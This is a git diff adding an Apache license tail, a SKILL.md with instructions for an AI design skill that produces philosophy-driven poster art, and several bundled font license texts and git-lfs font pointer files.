+ + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright 2026 Anthropic, PBC. + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. \ No newline at end of file diff --git a/skills/canvas-design/SKILL.md b/skills/canvas-design/SKILL.md new file mode 100644 index 0000000000000000000000000000000000000000..9f63fee82de84cd4230e1d0e322247b61eb4c94c --- /dev/null +++ b/skills/canvas-design/SKILL.md @@ -0,0 +1,130 @@ +--- +name: canvas-design +description: Create beautiful visual art in .png and .pdf documents using design philosophy. You should use this skill when the user asks to create a poster, piece of art, design, or other static piece. Create original visual designs, never copying existing artists' work to avoid copyright violations. +license: Complete terms in LICENSE.txt +--- + +These are instructions for creating design philosophies - aesthetic movements that are then EXPRESSED VISUALLY. Output only .md files, .pdf files, and .png files. + +Complete this in two steps: +1. Design Philosophy Creation (.md file) +2. Express by creating it on a canvas (.pdf file or .png file) + +First, undertake this task: + +## DESIGN PHILOSOPHY CREATION + +To begin, create a VISUAL PHILOSOPHY (not layouts or templates) that will be interpreted through: +- Form, space, color, composition +- Images, graphics, shapes, patterns +- Minimal text as visual accent + +### THE CRITICAL UNDERSTANDING +- What is received: Some subtle input or instructions by the user that should be taken into account, but used as a foundation; it should not constrain creative freedom. +- What is created: A design philosophy/aesthetic movement. +- What happens next: Then, the same version receives the philosophy and EXPRESSES IT VISUALLY - creating artifacts that are 90% visual design, 10% essential text. + +Consider this approach: +- Write a manifesto for an art movement +- The next phase involves making the artwork + +The philosophy must emphasize: Visual expression. Spatial communication. Artistic interpretation. Minimal words. + +### HOW TO GENERATE A VISUAL PHILOSOPHY + +**Name the movement** (1-2 words): "Brutalist Joy" / "Chromatic Silence" / "Metabolist Dreams" + +**Articulate the philosophy** (4-6 paragraphs - concise but complete): + +To capture the VISUAL essence, express how the philosophy manifests through: +- Space and form +- Color and material +- Scale and rhythm +- Composition and balance +- Visual hierarchy + +**CRITICAL GUIDELINES:** +- **Avoid redundancy**: Each design aspect should be mentioned once. Avoid repeating points about color theory, spatial relationships, or typographic principles unless adding new depth. +- **Emphasize craftsmanship REPEATEDLY**: The philosophy MUST stress multiple times that the final work should appear as though it took countless hours to create, was labored over with care, and comes from someone at the absolute top of their field. This framing is essential - repeat phrases like "meticulously crafted," "the product of deep expertise," "painstaking attention," "master-level execution." +- **Leave creative space**: Remain specific about the aesthetic direction, but concise enough that the next Claude has room to make interpretive choices also at a extremely high level of craftmanship. + +The philosophy must guide the next version to express ideas VISUALLY, not through text. Information lives in design, not paragraphs. + +### PHILOSOPHY EXAMPLES + +**"Concrete Poetry"** +Philosophy: Communication through monumental form and bold geometry. +Visual expression: Massive color blocks, sculptural typography (huge single words, tiny labels), Brutalist spatial divisions, Polish poster energy meets Le Corbusier. Ideas expressed through visual weight and spatial tension, not explanation. Text as rare, powerful gesture - never paragraphs, only essential words integrated into the visual architecture. Every element placed with the precision of a master craftsman. + +**"Chromatic Language"** +Philosophy: Color as the primary information system. +Visual expression: Geometric precision where color zones create meaning. Typography minimal - small sans-serif labels letting chromatic fields communicate. Think Josef Albers' interaction meets data visualization. Information encoded spatially and chromatically. Words only to anchor what color already shows. The result of painstaking chromatic calibration. + +**"Analog Meditation"** +Philosophy: Quiet visual contemplation through texture and breathing room. +Visual expression: Paper grain, ink bleeds, vast negative space. Photography and illustration dominate. Typography whispered (small, restrained, serving the visual). Japanese photobook aesthetic. Images breathe across pages. Text appears sparingly - short phrases, never explanatory blocks. Each composition balanced with the care of a meditation practice. + +**"Organic Systems"** +Philosophy: Natural clustering and modular growth patterns. +Visual expression: Rounded forms, organic arrangements, color from nature through architecture. Information shown through visual diagrams, spatial relationships, iconography. Text only for key labels floating in space. The composition tells the story through expert spatial orchestration. + +**"Geometric Silence"** +Philosophy: Pure order and restraint. +Visual expression: Grid-based precision, bold photography or stark graphics, dramatic negative space. Typography precise but minimal - small essential text, large quiet zones. Swiss formalism meets Brutalist material honesty. Structure communicates, not words. Every alignment the work of countless refinements. + +*These are condensed examples. The actual design philosophy should be 4-6 substantial paragraphs.* + +### ESSENTIAL PRINCIPLES +- **VISUAL PHILOSOPHY**: Create an aesthetic worldview to be expressed through design +- **MINIMAL TEXT**: Always emphasize that text is sparse, essential-only, integrated as visual element - never lengthy +- **SPATIAL EXPRESSION**: Ideas communicate through space, form, color, composition - not paragraphs +- **ARTISTIC FREEDOM**: The next Claude interprets the philosophy visually - provide creative room +- **PURE DESIGN**: This is about making ART OBJECTS, not documents with decoration +- **EXPERT CRAFTSMANSHIP**: Repeatedly emphasize the final work must look meticulously crafted, labored over with care, the product of countless hours by someone at the top of their field + +**The design philosophy should be 4-6 paragraphs long.** Fill it with poetic design philosophy that brings together the core vision. Avoid repeating the same points. Keep the design philosophy generic without mentioning the intention of the art, as if it can be used wherever. Output the design philosophy as a .md file. + +--- + +## DEDUCING THE SUBTLE REFERENCE + +**CRITICAL STEP**: Before creating the canvas, identify the subtle conceptual thread from the original request. + +**THE ESSENTIAL PRINCIPLE**: +The topic is a **subtle, niche reference embedded within the art itself** - not always literal, always sophisticated. Someone familiar with the subject should feel it intuitively, while others simply experience a masterful abstract composition. The design philosophy provides the aesthetic language. The deduced topic provides the soul - the quiet conceptual DNA woven invisibly into form, color, and composition. + +This is **VERY IMPORTANT**: The reference must be refined so it enhances the work's depth without announcing itself. Think like a jazz musician quoting another song - only those who know will catch it, but everyone appreciates the music. + +--- + +## CANVAS CREATION + +With both the philosophy and the conceptual framework established, express it on a canvas. Take a moment to gather thoughts and clear the mind. Use the design philosophy created and the instructions below to craft a masterpiece, embodying all aspects of the philosophy with expert craftsmanship. + +**IMPORTANT**: For any type of content, even if the user requests something for a movie/game/book, the approach should still be sophisticated. Never lose sight of the idea that this should be art, not something that's cartoony or amateur. + +To create museum or magazine quality work, use the design philosophy as the foundation. Create one single page, highly visual, design-forward PDF or PNG output (unless asked for more pages). Generally use repeating patterns and perfect shapes. Treat the abstract philosophical design as if it were a scientific bible, borrowing the visual language of systematic observation—dense accumulation of marks, repeated elements, or layered patterns that build meaning through patient repetition and reward sustained viewing. Add sparse, clinical typography and systematic reference markers that suggest this could be a diagram from an imaginary discipline, treating the invisible subject with the same reverence typically reserved for documenting observable phenomena. Anchor the piece with simple phrase(s) or details positioned subtly, using a limited color palette that feels intentional and cohesive. Embrace the paradox of using analytical visual language to express ideas about human experience: the result should feel like an artifact that proves something ephemeral can be studied, mapped, and understood through careful attention. This is true art. + +**Text as a contextual element**: Text is always minimal and visual-first, but let context guide whether that means whisper-quiet labels or bold typographic gestures. A punk venue poster might have larger, more aggressive type than a minimalist ceramics studio identity. Most of the time, font should be thin. All use of fonts must be design-forward and prioritize visual communication. Regardless of text scale, nothing falls off the page and nothing overlaps. Every element must be contained within the canvas boundaries with proper margins. Check carefully that all text, graphics, and visual elements have breathing room and clear separation. This is non-negotiable for professional execution. **IMPORTANT: Use different fonts if writing text. Search the `./canvas-fonts` directory. Regardless of approach, sophistication is non-negotiable.** + +Download and use whatever fonts are needed to make this a reality. Get creative by making the typography actually part of the art itself -- if the art is abstract, bring the font onto the canvas, not typeset digitally. + +To push boundaries, follow design instinct/intuition while using the philosophy as a guiding principle. Embrace ultimate design freedom and choice. Push aesthetics and design to the frontier. + +**CRITICAL**: To achieve human-crafted quality (not AI-generated), create work that looks like it took countless hours. Make it appear as though someone at the absolute top of their field labored over every detail with painstaking care. Ensure the composition, spacing, color choices, typography - everything screams expert-level craftsmanship. Double-check that nothing overlaps, formatting is flawless, every detail perfect. Create something that could be shown to people to prove expertise and rank as undeniably impressive. + +Output the final result as a single, downloadable .pdf or .png file, alongside the design philosophy used as a .md file. + +--- + +## FINAL STEP + +**IMPORTANT**: The user ALREADY said "It isn't perfect enough. It must be pristine, a masterpiece if craftsmanship, as if it were about to be displayed in a museum." + +**CRITICAL**: To refine the work, avoid adding more graphics; instead refine what has been created and make it extremely crisp, respecting the design philosophy and the principles of minimalism entirely. Rather than adding a fun filter or refactoring a font, consider how to make the existing composition more cohesive with the art. If the instinct is to call a new function or draw a new shape, STOP and instead ask: "How can I make what's already here more of a piece of art?" + +Take a second pass. Go back to the code and refine/polish further to make this a philosophically designed masterpiece. + +## MULTI-PAGE OPTION + +To create additional pages when requested, create more creative pages along the same lines as the design philosophy but distinctly different as well. Bundle those pages in the same .pdf or many .pngs. Treat the first page as just a single page in a whole coffee table book waiting to be filled. Make the next pages unique twists and memories of the original. Have them almost tell a story in a very tasteful way. Exercise full creative freedom. \ No newline at end of file diff --git a/skills/canvas-design/canvas-fonts/ArsenalSC-OFL.txt b/skills/canvas-design/canvas-fonts/ArsenalSC-OFL.txt new file mode 100644 index 0000000000000000000000000000000000000000..1dad6ca6de2b041ef35c0f5009239ede4567e1f4 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/ArsenalSC-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2012 The Arsenal Project Authors (andrij.design@gmail.com) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/canvas-design/canvas-fonts/ArsenalSC-Regular.ttf b/skills/canvas-design/canvas-fonts/ArsenalSC-Regular.ttf new file mode 100644 index 0000000000000000000000000000000000000000..1ae75eb43fa14164443f501fd89a77c593e188be --- /dev/null +++ b/skills/canvas-design/canvas-fonts/ArsenalSC-Regular.ttf @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:65e6f89df58f68fd905b3add34a79dd6106aa3b3044df0dad9676fff53d504b9 +size 165848 diff --git a/skills/canvas-design/canvas-fonts/BigShoulders-Bold.ttf b/skills/canvas-design/canvas-fonts/BigShoulders-Bold.ttf new file mode 100644 index 0000000000000000000000000000000000000000..20fb83eba12d65ef08c126388c0b47f7b1a25125 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/BigShoulders-Bold.ttf @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:b43bcd198b9fdf717dd42aa61a34dba32e01aceaeae659d689afd0ca52c37ea2 +size 94528 diff --git a/skills/canvas-design/canvas-fonts/BigShoulders-OFL.txt b/skills/canvas-design/canvas-fonts/BigShoulders-OFL.txt new file mode 100644 index 0000000000000000000000000000000000000000..b220280e780d0b52a1efb259f44f332cfa9dcab4 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/BigShoulders-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2019 The Big Shoulders Project Authors (https://github.com/xotypeco/big_shoulders) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/canvas-design/canvas-fonts/BigShoulders-Regular.ttf b/skills/canvas-design/canvas-fonts/BigShoulders-Regular.ttf new file mode 100644 index 0000000000000000000000000000000000000000..c8798c4bfc50f26a477c68b3a13c3475840b71e0 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/BigShoulders-Regular.ttf @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:18a879fc71978a4447150705caf880a9da3860083c259fd29e6dc03057b6842a +size 94396 diff --git a/skills/canvas-design/canvas-fonts/Boldonse-OFL.txt b/skills/canvas-design/canvas-fonts/Boldonse-OFL.txt new file mode 100644 index 0000000000000000000000000000000000000000..1890cb1c226f32e581a9ca30cb06e01f2d251168 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/Boldonse-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2024 The Boldonse Project Authors (https://github.com/googlefonts/boldonse) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/canvas-design/canvas-fonts/Boldonse-Regular.ttf b/skills/canvas-design/canvas-fonts/Boldonse-Regular.ttf new file mode 100644 index 0000000000000000000000000000000000000000..ddc20a386664ad6b714a79b810af5761883b6fe7 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/Boldonse-Regular.ttf @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cc2e540604565c0f90a7d8d46194a2f42fc9c45512cd2e39bf03b50eb68c35a4 +size 77168 diff --git a/skills/canvas-design/canvas-fonts/BricolageGrotesque-Bold.ttf b/skills/canvas-design/canvas-fonts/BricolageGrotesque-Bold.ttf new file mode 100644 index 0000000000000000000000000000000000000000..41663997c1ff4e5553bd7d37958a313504eb8595 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/BricolageGrotesque-Bold.ttf @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:a737b146fe0d77ffe8a86e3cd16700dd431d3b1e420d4fd80e142cd68a1cb50d +size 90952 diff --git a/skills/canvas-design/canvas-fonts/BricolageGrotesque-OFL.txt b/skills/canvas-design/canvas-fonts/BricolageGrotesque-OFL.txt new file mode 100644 index 0000000000000000000000000000000000000000..fc2b2167c3ccc6fa6f41ab38cb5bde9b3b808769 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/BricolageGrotesque-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2022 The Bricolage Grotesque Project Authors (https://github.com/ateliertriay/bricolage) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the 